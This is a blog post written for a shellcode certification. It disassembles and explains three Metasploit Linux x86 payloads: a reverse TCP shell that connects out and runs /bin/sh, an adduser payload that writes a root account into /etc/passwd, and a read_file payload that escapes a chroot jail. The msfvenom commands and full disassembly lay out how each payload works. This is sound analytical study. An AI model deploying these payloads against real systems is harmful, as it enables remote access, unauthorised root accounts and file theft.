SLAE32 Assignment 5: Analysis

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-1009

Assignment 5 requires that I take three payloads from msfvenom and analyze them using ndisasm, libemu, and gdb.

My first thought was to analyze at least one meterpreter shellcode. Alas, they are enormous and I would like to do more with the rest of my life instead of analyzing almost 1MB of shellcode. So instead, I opted for shorter ones. First, I wanted to look at their reverse tcp shellcode. I managed to get mine into 100 bytes, but the Metasploit one is 68 bytes, so I really wanted to see their approach on that one. Second, I wanted to look at their implementation of adduser. For the last one, I had noticed in viewing the payload options that they all had some extra options and one that intrigued me was PrependChrootBreak. I was not sure off the top of my head how they would do that and so I thought that would go well with the read_file shellcode.

Reverse TCP

First the shellcode itself:

$ msfvenom -p linux/x86/shell_reverse_tcp -f c LHOST= LPORT=9999
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =

The first thing I did was run it through ndisasm to view the assembly code.

$ msfvenom -p linux/x86/shell_reverse_tcp -f raw LHOST= LPORT=9999 | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  93                xchg eax,ebx
00000010  59                pop ecx
00000011  B03F              mov al,0x3f
00000013  CD80              int 0x80
00000015  49                dec ecx
00000016  79F9              jns 0x11
00000018  68C0A80101        push dword 0x101a8c0
0000001D  680200270F        push dword 0xf270002
00000022  89E1              mov ecx,esp
00000024  B066              mov al,0x66
00000026  50                push eax
00000027  51                push ecx
00000028  53                push ebx
00000029  B303              mov bl,0x3
0000002B  89E1              mov ecx,esp
0000002D  CD80              int 0x80
0000002F  52                push edx
00000030  686E2F7368        push dword 0x68732f6e
00000035  682F2F6269        push dword 0x69622f2f
0000003A  89E3              mov ebx,esp
0000003C  52                push edx
0000003D  53                push ebx
0000003E  89E1              mov ecx,esp
00000040  B00B              mov al,0xb
00000042  CD80              int 0x80

Static Analysis: It looks like it is first calling int 0x80 with 0x66 (102) as the syscall type. I recall from the reverse tcp shellcode that is the socketcall syscall. This can be seen in /usr/include/i386-linux-gnu/asm/unistd_32.h

#define __NR_socketcall 102

The parameters for socketcall are the socketcall type in ebx, and a pointer the to args in ecx. It looks like $ebx is 1 and $ecx points to 2, 1, 0.

The socketcall type is socket, as seen in /usr/include/libr/sflib/common/sfsocketcall.h:

#define SYS_socket      1               /* sys_socket(2)                */

The argument 2 means AF_INET socket, as seen in /usr/include/i386-linux-gnu/bits/socket.h:

#define PF_INET         2       /* IP protocol family.  */

The argument 1 means SOCK_STREAM, as seen in /usr/include/i386-linux-gnu/bits/socket_type.h:

enum __socket_type
  SOCK_STREAM = 1,              /* Sequenced, reliable, connection-based
                                   byte streams.  */

The last argument to socket is 0, which is IPPROTO_TCP, as seen in /usr/include/netinet/in.h:

IPPROTO_IP = 0,        /* Dummy protocol for TCP.  */

So unsurprisingly, it creates a socket. The next step that it does is call syscall 0x3f (63). This is dup2:

#define __NR_dup2 63

In the setup to this call, it exchanges $eax and $ebx. The value of $eax was the file descriptor of the socket that was just opened. The next instruction is pop ecx. The last thing that was pushed onto the stack was 0x2. So ecx is set to 2. So that means that it copies the socket file descriptor over STDERR. It then decrements ecx, and calls jns 0x11, although examining the opcode, the offset is 0xf9, meaning -7, that is to the mov al,0x3f instruction, 3 instructions before. The dec instruction will set the sign flag if the result is negative, and the jns jumps if the sign flag is not set. So what happens is that the loop continues for ecx = 2, 1, and 0. That means that this part of the code will loop and duplicate the socket file descriptor over STDERR, STDOUT, and STDIN.

In the next block, it pretty clearly is pushing the arguments for the socket connect call. The two dwords that it pushes are the sockaddr_in structure, with the family (2), port (0x270f for port 9999), and the ip address (0x0101a8c0 for Once the socket call is made, it clearly calls execve with the arguments for /bin/sh. At this point, I have seen it and written it enough that it is pretty evident.

This static analysis is supported by both gdb and libemu.

I ran it in libemu, and this is the result at the bottom of the output:

$ cat reverse_tcp_raw | sctest -vvv -Ss 10000
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int dup2 (
     int oldfd = 14;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 14;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 14;
     int newfd = 0;
) =  0;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe =>
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 3879 (port=9999);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 16885952 (host=;
             char sin_zero = "       ";
     int addrlen = 102;
) =  0;
int execve (
     const char * dateiname = 0x00416fa6 =>
           = "//bin/sh";
     const char * argv[] = [
           = 0x00416f9e =>
               = 0x00416fa6 =>
                   = "//bin/sh";
           = 0x00000000 =>
     const char * envp[] = 0x00000000 =>
) =  0;

In GDB, finding entry point took a little extra work, as this elf has the minimal amount of information possible. Commands like info file in gdb give no information at all. So the way to find the entry point is with the command readelf:

$ readelf -h reverse_tcp
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048054
  Start of program headers:          52 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

We can see from here that the entry point is 0x8048054, so we can now load it up into gdb and set a breakpoint for that address and run it. I did have to regenerate it at this point, as I had originally forgotten to change the IP address to With that change made to the executable, I was able to fully test it. However, it did not really add too much to the analysis that I already did up to this point. It did confirm, however, what I already learned.

Add User

Next up is add user. First the shellcode:

$ msfvenom -p linux/x86/adduser -f c USER=assembly PASS=you_slae_me SHELL=/bin/bash
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
unsigned char buf[] =

Next the disassembly.

$ cat add_user_raw | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53
0000002B  61                popa
0000002C  7373              jnc 0xa1
0000002E  656D              gs insd
00000030  626C793A          bound ebp,[ecx+edi*2+0x3a]
00000034  41                inc ecx
00000035  7A70              jpe 0xa7
00000037  2F                das
00000038  766C              jna 0xa6
0000003A  3133              xor [ebx],esi
0000003C  44                inc esp
0000003D  386971            cmp [ecx+0x71],ch
00000040  673A30            cmp dh,[bx+si]
00000043  3A30              cmp dh,[eax]
00000045  3A3A              cmp bh,[edx]
00000047  2F                das
00000048  3A2F              cmp ch,[edi]
0000004A  62696E            bound ebp,[ecx+0x6e]
0000004D  2F                das
0000004E  626173            bound esp,[ecx+0x73]
00000051  680A598B51        push dword 0x518b590a
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80

Again we have a series of syscalls. The first one is type 0x46 (70) which is

#define __NR_setreuid 70

The arguments in ebx and ecx are both 0, meaning it is setting the real and effective uid to root.

The next syscall it makes is syscall 5, open.

#define __NR_open 5

It then pushes a null terminated string for “/etc//passwd”. The address to this string is put in ebx. ecx was 0, then it is incremented and then 0x4 is moved into ch, which would give it a value of 0x401 or 1025 (I verified this in gdb, by starting it with a random executable, breaking at _start and running it so it had registers, then did set $ch=0x4 and set $cl=0x1). A quick look at /usr/include/asm-generic/fcntl.h shows the the 0x400 is for O_NOCTTY and the 0x1 is for O_WRONLY (as an aside the way I can find these definitions is with the following command, with whatever tag I am looking for: grep -r O_CREAT /usr/include/*).

#define O_WRONLY        00000001
#define O_NOCTTY        00000400        /* not fcntl */

A look at man 2 open shows that O_NOCTTY prevents the open from opening a tty and having it control the process:

       If pathname refers to a terminal device—see tty(4)—it will not become the process's controlling terminal even if the process
       does not have one.

It then exchanges eax and ebx, to put the file descriptor into ebx for the next syscall. It then calls 0x53, which is in the middle of an instruction that ndisasm produced. So lets redo it, skipping over everything up to that point.

$ cat add_user_raw | ndisasm -u -e 0x53 -
00000000  59                pop ecx
00000001  8B51FC            mov edx,[ecx-0x4]
00000004  6A04              push byte +0x4
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A01              push byte +0x1
0000000B  58                pop eax
0000000C  CD80              int 0x80

What that did was put the address after the call on the stack, which if you look at the bytes, they are all ASCII, and so it would appear that they are. We can see the contents with the string command:

$ strings add_user_elf

So with that string on the stack, it pops ecx, which puts the address of the string into ecx. It moves ecx - 4 into edx. It pushes 4 onto the stack then pops that value into eax, which is the value for the write syscall:

#define __NR_write 4

It is not immediately clear to me from just reading the assembly what the value of edx will be from the mov edx, [ecx-4] instruction. I assume it is the length of the string, as that is what the write call requires. It then makes the syscall, and the final three instructions simply exit, as the value 0x1 refers to the exit syscall.

Having examined the code and getting a good understanding of what it does, I now feel comfortable testing it with libemu and gdb, which require that I run it as root, since it writes to the /etc/passwd file. First, lets run it through libemu and sctest.

sctest doesn’t appear to give much information. It isn’t printing the syscall list as it did before. Running it through gdb revealed to me how edx contained the length of the passwd entry. I stepped it to the point that it was about to load edx:

As you can see, the address of the passwd file entry is in 0x804807f, which means the value loaded into edx is 0x804807f - 0x4 = 0x804807b. This does indeed contain the length:

gdb-peda$ x /4xb 0x804807b
0x804807b:	0x28	0x00	0x00	0x00

But why? Looking just one more byte show us the reason.

gdb-peda$ x /5xb 0x804807a
    0x804807a:	0xe8	0x28	0x00	0x00	0x00
gdb-peda$ x /i 0x804807a
    0x804807a:	call   0x80480a7

Of course! It is the instruction that calls the rest of the shellcode and the offset in the instruction jumps over the passwd entry. That offset is, of course, also the length of the string. A very clever reuse of information in the shellcode. This is truly a beautiful piece of shellcode.

Read File

$ msfvenom -p linux/x86/read_file -f c  PrependChrootBreak=true PATH=./secret_file
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of c file: 543 bytes
unsigned char buf[] =

First, let’s look at the assembly:

$ cat read_file_raw | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  31DB              xor ebx,ebx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80

First syscall is for call 0x46 (70) which is setreuid again.

00000009  6A3D              push byte +0x3d
0000000B  89E3              mov ebx,esp
0000000D  6A27              push byte +0x27
0000000F  58                pop eax
00000010  CD80              int 0x80

The next syscall is for 0x27 (39) which is for mkdir.

#define __NR_mkdir 39

ecx is already set to 0, which serves for the mode. The second parameter is set to the address of the value 0x3d. which is ‘=’ in ASCII.

00000012  89D9              mov ecx,ebx
00000014  58                pop eax
00000015  CD80              int 0x80

The next syscall has a number 0x3d (which it pops from the stack, the last thing that should be on the stack is left from when it pushed ‘=’). ebx is still pointing to the ‘=’ string, which it copies into ecx. System call 0x3d (61) is chroot:

#define __NR_chroot 61
00000017  31C0              xor eax,eax
00000019  50                push eax
0000001A  66682E2E          push word 0x2e2e
0000001E  89E3              mov ebx,esp
00000020  6A3D              push byte +0x3d
00000022  59                pop ecx
00000023  B00C              mov al,0xc
00000025  CD80              int 0x80
00000027  E2FA              loop 0x23

At this point, it pushes the null terminated string ‘..’ onto the stack. It puts the address for this string into ebx, and puts the value 0x3d into ecx. It then sets eax to 0xc (12) and calls int 0x80. Syscall 0xc is chdir:

#define __NR_chdir 12

It loops back to call chdir again. Since ecx was set to 0x3d, it will loop that many times, calling chdir ... This is the chroot break that we prepended. This is essentially straight from the chroot man page.

This call does not change the current working directory, so that after the call '.' can be outside the tree rooted at '/'.  In particular, the superuser can escape from a "chroot jail" by doing:

    mkdir foo; chroot foo; cd ..

This is precisely what it is doing.

00000029  6A3D              push byte +0x3d
0000002B  89D9              mov ecx,ebx
0000002D  58                pop eax
0000002E  CD80              int 0x80

It finishes the chroot calls with one final call to chroot with ‘..’ as the argument.

00000030  EB36              jmp short 0x68
00000032  B805000000        mov eax,0x5
00000037  5B                pop ebx
00000038  31C9              xor ecx,ecx
0000003A  CD80              int 0x80

Now it jumps to 0x68, which is located at the end of the shellcode. This is part of the jump-call-pop. This jump goes directly to a call, which calls back to the line just after the jmp. The data at the end is simply the file path that we are trying to read. The address of this file path is popped into ebx, ecx is set to 0, and eax is set to 0x5, which is for syscall 5, which is open.

#define __NR_open 5
0000003C  89C3              mov ebx,eax
0000003E  B803000000        mov eax,0x3
00000043  89E7              mov edi,esp
00000045  89F9              mov ecx,edi
00000047  BA00100000        mov edx,0x1000
0000004C  CD80              int 0x80

Next, it moves the file descriptor into ebx, puts 3 into eax (for syscall 3 which is read):

#define __NR_read 3

It moves the stack pointer into ecx (by way of edi) and puts 0x1000 into edx for the length. So it will read at most 0x1000 bytes onto the stack at the current stack position.

0000004E  89C2              mov edx,eax
00000050  B804000000        mov eax,0x4
00000055  BB01000000        mov ebx,0x1
0000005A  CD80              int 0x80

Next it calls syscall 4 (write). ebx is set to 1, which means it will write to STDOUT. ecx is still set to the stack pointer, where the data was read. edx is set to what eax was after the read call finished, which is the number of bytes read. So it will write the contents of the file (however much it read) to STDOUT.

0000005C  B801000000        mov eax,0x1
00000061  BB00000000        mov ebx,0x0
00000066  CD80              int 0x80

And it finishes with a graceful exit. How nice.

The remainder of the code below simply contains the file path data and the associated call for the jmp-call-pop.

00000068  E8C5FFFFFF        call 0x32
0000006D  2E2F              cs das
0000006F  7365              jnc 0xd6
00000071  637265            arpl [edx+0x65],si
00000074  745F              jz 0xd5
00000076  66                o16
00000077  69                db 0x69
00000078  6C                insb
00000079  65                gs
0000007A  00                db 0x00

So it seems pretty straightforward. For the Chroot Break, it makes a directory and then chroots to it and then changes the directory to ... It loops over this several times in order to ensure breaking out to the root of the filesystem. Then it simply opens the file, reads the contents, and writes it to stdout.

This also doesn’t run well in sctest. I assume that it is due to the setreuid function. However, we can run it in gdb to verify that it works as described above.

Running it in gdb confirmed the above analysis. It didn’t really add anything to the understanding, so I don’t cover it here. However, one thing that was evident that is worth noting, is that when I ran it, it failed to read the file. This was due to the Chroot break, as it changed the working directory, and the file that I had it read was specified with a relative path, which was no longer valid at the time of the open. This can be seen in the following screenshot from the gdb session, which shows the current working directory just before it calls open.

So there it is. Three payloads from Metasploit analyzed completely. Frankly, the shellcode from Metasploit is very compact and the way it reuses data and compresses the instructions is quite amazing. It is truly a work of art, in my opinion. I am inspired to look at the Metasploit payload generators to see what they look like, and how I can add my shellcode and encoders and crypters into metasploit.